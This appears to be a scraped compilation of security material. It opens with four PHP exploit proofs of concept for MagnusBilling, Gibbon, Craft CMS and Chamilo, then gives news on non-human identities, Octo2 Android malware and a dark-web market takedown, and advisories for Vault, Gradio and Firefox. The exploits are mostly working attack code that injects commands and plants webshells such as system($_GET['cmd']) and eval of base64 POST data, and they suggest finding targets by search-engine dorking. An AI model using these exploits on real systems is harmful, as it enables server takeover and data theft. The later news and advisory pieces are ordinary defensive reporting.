MagnusBilling version 6.x suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : MagnusBilling 6.x Code Injection Vulnerability                                                                              |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            |  
| # Vendor    : https://www.magnusbilling.org/                                                                                              |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] uses the CURL to Allow remote command .

[+] Line 83 set your target .

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php 

[+] PayLoad :

<?php

class MagnusBillingExploit {  
    private $targetUri;  
    private $webShellName;

    public function __construct($targetUri) {  
        $this->targetUri = $targetUri;  
    }

    // Function to execute commands on the target  
    public function executeCommand($cmd) {  
        $url = $this->targetUri . '/lib/icepay/icepay.php?democ=/dev/null;' . $cmd . ';#';  
        return file_get_contents($url); // Send HTTP request  
    }

    // Function to execute PHP code on the target  
    public function executePhp($cmd) {  
        $payload = base64_encode($cmd);  
        $url = $this->targetUri . '/lib/icepay/' . $this->webShellName;  
        $postFields = [$this->postParam => $payload];  
        return $this->sendPostRequest($url, $postFields); // Send POST request  
    }

    // Upload backdoor webshell to the target  
    public function uploadBackdoorWebShell() {  
        // Name of the webshell to be uploaded  
        $this->webShellName = "backdoor.php"; // Set a specific name for the backdoor file

        // Backdoor PHP code (this allows execution of commands passed through a GET parameter 'cmd')  
        $backdoorCode = "<?php if(isset(\$_GET['cmd'])){system(\$_GET['cmd']);} ?>";

        // Encode the webshell content  
        $encodedPayload = base64_encode($backdoorCode);

        // Construct the command to upload the backdoor  
        $cmd = "echo {$encodedPayload} | base64 -d > ./{$this->webShellName}";

        // Execute the command to upload the backdoor  
        return $this->executeCommand($cmd);  
    }

    // Check if the target can be exploited  
    public function check() {  
        $url = $this->targetUri;  
        $response = file_get_contents($url);  
        if (!$response || !preg_match('/MagnusBilling/i', $response)) {  
            return "Safe: Likely not a MagnusBilling application.";  
        }

        $sleepTime = rand(4, 8);  
        $this->executeCommand("sleep {$sleepTime}");  
        sleep($sleepTime); // Simulate blind command injection

        return "Vulnerable: Command injection successful.";  
    }

    // Main function to exploit the target  
    public function exploit() {  
        echo "Uploading backdoor...\n";  
        $result = $this->uploadBackdoorWebShell();  
        if (!$result) {  
            die("Backdoor upload failed.");  
        }  
        echo "Backdoor uploaded at: {$this->targetUri}/lib/icepay/{$this->webShellName}\n";  
    }

    // Helper function to send POST requests  
    private function sendPostRequest($url, $postFields) {  
        $options = [  
            'http' => [  
                'method' => 'POST',  
                'header' => 'Content-Type: application/x-www-form-urlencoded',  
                'content' => http_build_query($postFields)  
            ]  
        ];  
        $context = stream_context_create($options);  
        return file_get_contents($url, false, $context);  
    }  
}

// Usage example  
$exploit = new MagnusBillingExploit('http://target-url/mbilling');  
$exploit->exploit();

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

MagnusBilling 6.x Code Injection 

Gibbon School Platform version 26.0.00 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Gibbon School Platform 26.0.00 Code Injection Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://gibbonedu.org/                                                                                                      |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 108 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass GibbonExploit{    private $target_uri;    private $username;    private $password;    private $webshell_name;    public function __construct($target_uri, $username, $password, $webshell_name = null)    {        $this->target_uri = $target_uri;        $this->username = $username;        $this->password = $password;        $this->webshell_name = $webshell_name ?: $this->randomString() . '.php';    }    private function send_request($method, $url, $data = null, $headers = [])    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function gibbon_login()    {        $login_url = $this->target_uri . '/login.php?timeout=true';        $data = [            'address' => '',            'method' => 'default',            'username' => $this->username,            'password' => $this->password,            'gibbonSchoolYearID' => '025',            'gibboni18nID' => '0002'        ];        return $this->send_request('POST', $login_url, http_build_query($data));    }    private function construct_form_data($payload)    {        $payload_len = strlen($payload);        $payload_data = 'a:2:{i:7;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:3;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:' . $payload_len . ':"' . $payload . '";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}';        $form_data = [            'address' => '/modules/System Admin/import_run.php',            'mode' => 'sync',            'syncField' => 'N',            'syncColumn' => '',            'columnOrder' => $payload_data,            'columnText' => 'N;',            'fieldDelimiter' => '%2C',            'stringEnclosure' => '%22',            'filename' => $this->randomString() . '.xlsx',            'csvData' => '"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"',            'ignoreErrors' => '1',            'Failed' => 'Submit'        ];        return $form_data;    }    public function upload_webshell($b64_payload)    {        $php_payload = "echo \"<?php @eval(base64_decode('$b64_payload'));?>\" > " . $this->webshell_name;        $form_data = $this->construct_form_data($php_payload);        $url = $this->target_uri . '/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4';        return $this->send_request('POST', $url, http_build_query($form_data));    }    public function execute_php($cmd)    {        $b64_payload = base64_encode($cmd);        $res = $this->upload_webshell($b64_payload);        if (!$res) {            die('Web shell upload error.');        }        // execute the webshell        $url = $this->target_uri . '/' . $this->webshell_name;        return $this->send_request('GET', $url);    }    private function randomString($length = 10)    {        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new GibbonExploit('https://target-site.com', 'username@example.com', 'password');$exploit->gibbon_login();$response = $exploit->execute_php('phpinfo();');echo $response;Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Gibbon School Platform 26.0.00 Code Injection

Craft CMS version 4.4.14 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Craft CMS 4.4.14 Code Injection Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://craftcms.com/                                                                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 116 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass CraftCMSExploit {    private $target_uri;    private $webshell;    private $config = ['upload_tmp_dir' => null, 'document_root' => null];    private $post_param;    private $get_param;    public function __construct($target_uri, $webshell = '') {        $this->target_uri = $target_uri;        $this->webshell = $webshell ? $webshell : $this->generateRandomString(8, 16) . '.php';        $this->post_param = $this->generateRandomString(1, 8);        $this->get_param = $this->generateRandomString(1, 8);    }    public function check_phpinfo() {        // Sends a crafted request to extract upload_tmp_dir and document_root from phpinfo()        $data = http_build_query([            'action' => 'conditions/render',            'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',            'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'        ]);        $response = $this->sendPostRequest($this->target_uri, $data);        if ($response) {            $this->parsePHPInfo($response);        }    }    private function parsePHPInfo($response) {        // Parses the phpinfo() HTML response to find upload_tmp_dir and document_root        if (preg_match('/upload_tmp_dir.+<td class="v">(.*)<\/td>/i', $response, $matches)) {            $this->config['upload_tmp_dir'] = $matches[1] == 'no value' ? '/tmp' : trim($matches[1]);        }        if (preg_match('/DOCUMENT_ROOT.+<td class="v">(.*)<\/td>/i', $response, $matches)) {            $this->config['document_root'] = trim($matches[1]);        }    }    public function upload_webshell() {        // Generates an XML payload to upload the webshell via Imagick MSL        $payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>        ";        $form_data = [            'action' => 'conditions/render',            'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',            'config' => '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}',            'payload' => $payload        ];        $response = $this->sendMultipartPostRequest($this->target_uri, $form_data);        return strpos($response, '502') !== false;    }    public function execute_command($cmd) {        // Executes a command on the server via the uploaded webshell        $payload = base64_encode($cmd);        $data = http_build_query([$this->post_param => $payload]);        return $this->sendPostRequest($this->target_uri . '/' . $this->webshell, $data);    }    private function sendPostRequest($uri, $data) {        $options = [            'http' => [                'header' => "Content-type: application/x-www-form-urlencoded\r\n",                'method' => 'POST',                'content' => $data,            ],        ];        $context = stream_context_create($options);        return file_get_contents($uri, false, $context);    }    private function sendMultipartPostRequest($uri, $data) {        // Sends a multipart form-data POST request        $boundary = uniqid();        $delimiter = '------' . $boundary;        $post_data = $this->buildMultipartData($data, $delimiter);        $options = [            'http' => [                'header' => "Content-Type: multipart/form-data; boundary=" . $boundary . "\r\n",                'method' => 'POST',                'content' => $post_data,            ],        ];        $context = stream_context_create($options);        return file_get_contents($uri, false, $context);    }    private function buildMultipartData($data, $delimiter) {        $post_data = '';        foreach ($data as $name => $content) {            $post_data .= "--$delimiter\r\n";            $post_data .= "Content-Disposition: form-data; name=\"$name\"\r\n\r\n";            $post_data .= "$content\r\n";        }        $post_data .= "--$delimiter--\r\n";        return $post_data;    }    private function generateRandomString($min, $max) {        $length = rand($min, $max);        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new CraftCMSExploit('http://target-craftcms.com');$exploit->check_phpinfo();if ($exploit->upload_webshell()) {    echo $exploit->execute_command('whoami');}?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Craft CMS 4.4.14 Code Injection

Chamilo version 1.11.18 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Chamilo 1.11.18 Code Injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://chamilo.org/en/2023/02/03/10-new-features-in-chamilo-1-11-18/                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 123 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass ChamiloExploit {    private $targetUri;    private $webshellName;    private $postParam;    public function __construct($targetUri, $webshell = null) {        $this->targetUri = rtrim($targetUri, '/');        $this->webshellName = $webshell ?: $this->generateRandomWebshellName();    }    private function generateRandomWebshellName() {        return bin2hex(random_bytes(8)) . '.php';    }    private function soapRequest($cmd) {        $pptSize = rand(720, 1440) . 'x' . rand(360, 720);        return <<<EOS<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:ns1="{$this->targetUri}"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xmlns:xsd="http://www.w3.org/2001/XMLSchema"    xmlns:ns2="http://xml.apache.org/xml-soap"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">    <SOAP-ENV:Body>        <ns1:wsConvertPpt>            <param0 xsi:type="ns2:Map">                <item>                    <key xsi:type="xsd:string">file_data</key>                    <value xsi:type="xsd:string"></value>                </item>                <item>                    <key xsi:type="xsd:string">file_name</key>                    <value xsi:type="xsd:string">`{{}}`.pptx'|" |{$cmd}||a #</value>                </item>                <item>                    <key xsi:type="xsd:string">service_ppt2lp_size</key>                    <value xsi:type="xsd:string">{$pptSize}</value>                </item>            </param0>        </ns1:wsConvertPpt>    </SOAP-ENV:Body></SOAP-ENV:Envelope>EOS;    }    public function uploadWebshell() {        $this->postParam = bin2hex(random_bytes(4));        $phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";        $pngWebshell = $this->injectPhpPayloadPng($phpPayload);        if ($pngWebshell === null) {            return null;        }        $payload = base64_encode($pngWebshell);        $cmd = "echo {$payload}|openssl enc -a -d > ./{$this->webshellName}";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    private function injectPhpPayloadPng($phpPayload) {        // Implement your logic to inject PHP payload into a PNG image        // For demonstration purposes, we'll return a dummy PNG data        return pack('H*', '89504E470D0A1A0A...'); // Example PNG header    }    public function executePhp($cmd) {        $payload = base64_encode($cmd);        $response = $this->sendRequest('POST', "/main/inc/lib/ppt2png/{$this->webshellName}", "application/x-www-form-urlencoded", [$this->postParam => $payload]);        return $response;    }    public function executeCommand($cmd) {        $payload = base64_encode($cmd);        $cmd = "echo {$payload}|openssl enc -a -d|sh";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    public function check() {        $marker = bin2hex(random_bytes(4));        $res = $this->executeCommand("echo {$marker}");        if ($res && strpos($res, 'wsConvertPptResponse') !== false && strpos($res, $marker) !== false) {            return 'Vulnerable';        } else {            return 'Safe';        }    }    public function exploit($payload) {        switch ($payload['type']) {            case 'php':                $res = $this->uploadWebshell();                if (!$res || strpos($res, 'wsConvertPptResponse') === false) {                    throw new Exception('Web shell upload error.');                }                $this->executePhp($payload['encoded']);                break;            case 'unix_cmd':                $this->executeCommand($payload['encoded']);                break;            case 'linux_dropper':                // Implement Linux dropper logic                break;        }    }    private function sendRequest($method, $uri, $ctype, $data) {        // Implement your HTTP request logic here (using cURL or similar)        // For demonstration purposes, return a dummy response        return 'Dummy response';    }}// Usage$exploit = new ChamiloExploit('http://target.com', 'webshell.php');$exploit->check();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Chamilo 1.11.18 Code Injection

The future of cybersecurity will be shaped by how well we manage the explosion of NHIs.

Source: Brain light via Alamy Stock Photo

COMMENTARY

Imagine a vast and invisible army silently infiltrating your organization's digital defenses. No, this isn't the plot of a sci-fi thriller — it's the reality of non-human identities (NHIs) in today's cybersecurity landscape. As a seasoned security architect, I've watched this hidden force grow from a manageable contingent to a sprawling, often ungoverned multitude that's keeping chief information security officers (CISOs) awake at night. 

In my journey across startups and Fortune 500 companies, I've witnessed firsthand the mixed effects of NHIs. They keep our digital machinery running smoothly — but they are also a potential treasure trove for attackers looking to exploit our blind spots. It's time to shine a light on this invisible army and develop strategies to harness its power while mitigating its risks. 

**The Scale of the Problem**

Consider this: For every 1,000 human users in your organization, you likely have 10,000 non-human connections or credentials. Some estimates suggest the ratio could be as high as 45-to-1. These NHIs include service accounts, system accounts, API keys, tokens, and other forms of machine-based authentication that facilitate the complex web of interactions in our modern digital ecosystem. 

**Why NHIs Matter**

1.  Attack surface expansion: Each NHI represents a potential entry point for attackers. With their often-elevated privileges and lack of human oversight, compromised NHIs can be a goldmine for malicious actors. 
    
2.  Visibility challenges: Unlike human users, NHIs often operate in the background, created by developers or systems without proper governance. This lack of visibility makes them a significant blind spot for many security teams. 
    
3.  Privilege sprawl: Studies show that only 2% of permissions granted for NHIs are actually used. This massive overprovisioning of access rights creates an unnecessary risk landscape. 
    
4.  Third-party risk: NHIs often facilitate connections to external services and partners. When these third parties experience a breach, your organization's NHIs become a potential vector for lateral movement. 
    

**Real-World Implications**

The importance of securing NHIs is more than just theoretical. Recent high-profile incidents underscore their critical role in modern attacks. 

Nation-state actors have demonstrated proficiency in abusing OAuth applications to move laterally across cloud environments. At the same time, major software companies like Microsoft and Okta have fallen victim to attacks leveraging compromised machine identities. In a recent Securities and Exchange Commission (SEC) filing, even Dropbox disclosed a material incident involving a compromised service account. 

**Practical Steps for Mitigation**

1.  Discovery and inventory: You can't secure what you can't see. Implement tools and processes to continuously discover and catalog NHIs across all environments, including software-as-a-service (SaaS) applications. 
    
2.  Posture management: Go beyond simple inventory. Understand the permissions associated with each NHI, their usage patterns, and the potential risk they pose. 
    

**A Call to Action**

The explosion of NHIs represents both a challenge and an opportunity for the cybersecurity community. While the scale of the problem can seem daunting, we're ahead of the curve compared to where we were with human identity access management (IAM) decades ago. 

In my conversations with CISOs and security leaders, I've started to see a shift in mindset. There's a growing recognition that NHI security needs to be elevated to a top-tier priority, on par with traditional IAM and network security initiatives. 

As we move forward, I'm cautiously optimistic. The technology and practices to secure NHIs are evolving rapidly. We can turn the tide on this silent tsunami of risk with the right mix of visibility, automation, and a security-first culture. 

The future of cybersecurity will be shaped by how well we manage the explosion of non-human identities. As security professionals, it's our responsibility to lead the charge in this new frontier of identity security. Are you ready to meet the challenge? 

**About the Author**

Partner Solutions Architect

Vaibhav Malik has more than 14 years of experience in networking and security. He collaborates with global partners to create and deploy robust security solutions for enterprise clients. Malik is a recognized thought leader and expert in zero-trust security architecture. His previous roles at large service providers and security companies involved assisting Fortune 500 clients with network, security, and cloud transformation projects. He champions an identity and data-centric approach to security and is a popular speaker at industry events. With a master's in telecommunication from the University of Colorado Boulder and an MBA from the University of Illinois Urbana-Champaign, Malik's extensive expertise and hands-on experience make him an invaluable asset for organizations aiming to strengthen their cybersecurity posture in today's complex threat landscape.

The Invisible Army of Non-Human Identities

Octo2 malware is targeting Android devices by disguising itself as popular apps like NordVPN and Google Chrome. This…

Octo2 malware is targeting Android devices by disguising itself as popular apps like NordVPN and Google Chrome. This advanced trojan uses sophisticated techniques to evade detection, steal credentials, and enable remote access to infected devices.

Cybersecurity researchers at DomainTools have released their new research on Octo2, a new version of the notorious Octo malware family. Octo2 targets Android mobile devices and based on its activity, researchers believe that it will target users globally soon.

According to Steve Behm, Solutions Engineer at DomainTools, Octo2 represents a major change in cybersecurity threats. This updated version of the prolific Octo (ExobotCompact) family spreads rapidly due to its enhanced features, global adoption of its predecessor, and aggressive distribution tactics. 

Octo2 features improved remote access trojan capabilities, ensuring reliable communication and control over infected devices even in challenging network conditions. Moreover, its enhanced Anti-Analysis and Anti-Detection techniques can hinder security analysis and detection, making it more difficult to identify and neutralize the threat.

In addition, the use of DGA-Based C2 server generation algorithm (DGA) to create dynamic command and control (C2) server addresses adds a layer of complexity, making it harder for security systems to track and disrupt communication.

“We were eventually able to expand the original 9 domains and 7 TLDs to 269 domains and 12 TLDs first seen from August 22nd, 2024 to October 4th, 2024,” reads DomainTool’s **blog post** shared with Hackread.com ahead of publishing on October 10, 2024.

****Currently Targeting Europe****

Early samples of Octo2 have been observed in several European countries, including Italy, Poland, Moldova, and Hungary. However, given the global reach of the original Octo and the improvements in Octo2, its distribution is expected to expand rapidly. 

****Attack Pattern** – Disguised as VPN and Browser**

The malware often disguises itself as legitimate applications, such as Google Chrome, NordVPN, or “Enterprise Europe Network,” to deceive unsuspecting users. It employs a dropper called **Zombinder** to deliver the malicious payload, prompting users to install a seemingly harmless plugin that is actually Octo2.   

For your information, Zombinder is another Android malware that was actively sold on the dark web in 2022. Its developers also offered a Windows version. At that time, Zombinder was found distributing the notorious **Xenomorph banking malware**, disguised as the VidMate app.

Once a device gets infected, Octo2 allows remote access to mobile devices, intercepting push notifications, harvesting credentials, and performing unauthorized actions, such as allowing for unauthorized login and access. The **Conficker worm discovered in 2008** is one of the earliest examples of a DGA used by malware families and so far 50 malware families, including Zeus and Dyre, have been identified to be using DGA domains.

****Abusing Domain Generation Algorithms****

Octo2’s use of a DGA (Domain Generation Algorithms – Different from **Registered Domain Generation Algorithms – RDGAs**) to generate its C2 server address is a significant enhancement. This technique allows the malware to constantly change its communication endpoints, making it more resilient to takedowns and detection efforts. While researchers can identify the patterns used to generate these domains, the dynamic nature of the C2 infrastructure presents a massive threat.  

Domain Tools researchers warn users to be cautious of Octo2 malware and avoid downloading apps or software from third-party sites. For businesses, using **threat intelligence** is important. This includes advanced detection tools like sandboxing, monitoring DNS traffic for unusual activity, and using endpoint security solutions to spot malicious behaviour on infected devices. Regular DNS traffic monitoring can also help detect DGA-based malware.

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Octo2 Malware Uses Fake NordVPN, Chrome Apps to Infect Android Devices

The Dutch police have announced the takedown of Bohemia and Cannabia, which has been described as the world's largest and longest-running dark web market for illegal goods, drugs, and cybercrime services.
The takedown is the result of a collaborative investigation with Ireland, the United Kingdom, and the United States that began towards the end of 2022, the Politie said.
The marketplace

The Dutch police have announced the takedown of Bohemia and Cannabia, which has been described as the world's largest and longest-running dark web market for illegal goods, drugs, and cybercrime services.

The takedown is the result of a collaborative investigation with Ireland, the United Kingdom, and the United States that began towards the end of 2022, the Politie said.

The marketplace discontinued its operations in late 2023 following reports of service disruptions and exit scams after one of its developers allegedly went rogue in what was characterized by one of the administrators as a "shameful and disgruntled set of events."

Bohemia is said to have served 82,000 ads worldwide every day, with about 67,000 transactions taking place each month. In September 2023 alone, the estimated turnover was €12 million.

"Some of the sellers in the market advertised shipping from the Netherlands," the Politie said. "An initial analysis shows that at least 14,000 transactions took place from the Netherlands with a value of at least 1.7 million euros."

The Politie said it was able to identify several administrators and arrest two suspects, one in the Netherlands and the other in Ireland. In addition, two vehicles and cryptocurrency worth €8 million were seized.

"Administrators, sellers and buyers of and on illegal marketplaces often believe themselves to be elusive to the police and the judiciary," said Stan Duijf, head of the operations unit of the National Investigation and Interventions.

"By conducting criminal investigations and prosecuting these criminals, it becomes clear that the dark web is not at all as anonymous as users may think. Due to international cooperation, the credibility and reliability of these markets have once again been severely damaged."

The development comes as Ukrainian authorities have arrested a 28-year-old man for allegedly operating a virtual private network (VPN) that made it possible for people from within the country to access the Russian internet (aka Runet) in violation of sanctions.

The service, which had more than 48 million IP addresses, is believed to have been launched by an unnamed self-taught hacker from the city of Khmelnytskyi in the aftermath of the Russo-Ukrainian war.

The access, Ukraine's Cyber Police said, was facilitated by setting up an autonomous server room in his apartment, with additional servers rented in Germany, France, the Netherlands, and Russia.

"The man advertised his service on his own Telegram channels and thematic communities, as well as on a world-famous IT resource, where he positioned himself as a project developer and found like-minded people," the agency said.

It also follows the sentencing of two individuals affiliated with a Russian threat group called Armageddon (aka Gamaredon) to 15 years in prison in absentia for carrying out cyber attacks against government entities in the country, per the Security Service of Ukraine (SBU).

Their identities were not disclosed. However, it's possible they are Sklianko Oleksandr Mykolaiovych and Chernykh Mykola Serhiiovyc, who were previously sanctioned by the European Council.

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Bohemia and Cannabia Dark Web Markets Taken Down After Joint Police Operation

A privileged Vault operator with write permissions to the root namespace’s identity endpoint could escalate their privileges to Vault’s root policy. Fixed in Vault Community Edition 1.18.0 and Vault Enterprise 1.18.0, 1.17.7, 1.16.11, and 1.15.16.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-rr8j-7w34-xp5j: Vault Community Edition privilege escalation vulnerability

### Impact
**What kind of vulnerability is it? Who is impacted?**

This vulnerability is related to **CORS origin validation**, where the Gradio server fails to validate the request origin when a cookie is present. This allows an attacker’s website to make unauthorized requests to a local Gradio server. Potentially, attackers can upload files, steal authentication tokens, and access user data if the victim visits a malicious website while logged into Gradio. This impacts users who have deployed Gradio locally and use basic authentication.

### Patches
Yes, please upgrade to `gradio>=4.44` to address this issue.

### Workarounds
**Is there a way for users to fix or remediate the vulnerability without upgrading?**

As a workaround, users can manually enforce stricter CORS origin validation by modifying the `CustomCORSMiddleware` class in their local Gradio server code. Specifically, they can bypass the condition that skips CORS validation for requests containing cookies to prevent potential exploitation.



**Impact**

**What kind of vulnerability is it? Who is impacted?**

This vulnerability is related to **CORS origin validation**, where the Gradio server fails to validate the request origin when a cookie is present. This allows an attacker’s website to make unauthorized requests to a local Gradio server. Potentially, attackers can upload files, steal authentication tokens, and access user data if the victim visits a malicious website while logged into Gradio. This impacts users who have deployed Gradio locally and use basic authentication.

**Patches**

Yes, please upgrade to gradio>=4.44 to address this issue.

**Workarounds**

**Is there a way for users to fix or remediate the vulnerability without upgrading?**

As a workaround, users can manually enforce stricter CORS origin validation by modifying the CustomCORSMiddleware class in their local Gradio server code. Specifically, they can bypass the condition that skips CORS validation for requests containing cookies to prevent potential exploitation.

**References**

*   GHSA-3c67-5hwx-f6wx

GHSA-3c67-5hwx-f6wx: Gradios's CORS origin validation is not performed when the request has a cookie

The bug is already being exploited in the wild, but Firefox has provided patches for those who may be vulnerable.

Source: 2020WEB via Alamy Stock Photo

Mozilla has patched a critical security vulnerability in its Firefox Web browser that's being actively exploited in the wild.

Tracked as CVE-2024-9680, the vulnerability is a use-after-free issue in Animation timelines, with attackers exploiting it to execute arbitrary code, according to Mozilla's advisory. It carries a CVSSv3 vulnerability-severity rating of 9.8 out of 10 and a low attack complexity (no privileges or user interaction is needed to successfully exploit the flaw), and translates into high risk in the event of a successful attack.

Critical bugs in Firefox, which is used by around 178 million people worldwide, are few and far between. The Web browser hasn't had to offer patches for such a severe flaw since March, and only a small number have been discovered in the past few years.

The disclosure sparked a flurry of alerts from international cyber agencies, including Dutch national cyber center Nationaal Cyber Security Centrum, and the cybersecurity centers of Canada and Italy.

The Web browser vulnerability affects Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1. Users should upgrade to version 131.0.2 in Firefox and to versions 115.16.1 or 128.3.1 for Firefox ESR to fix the vulnerability and thwart potential exploitation.

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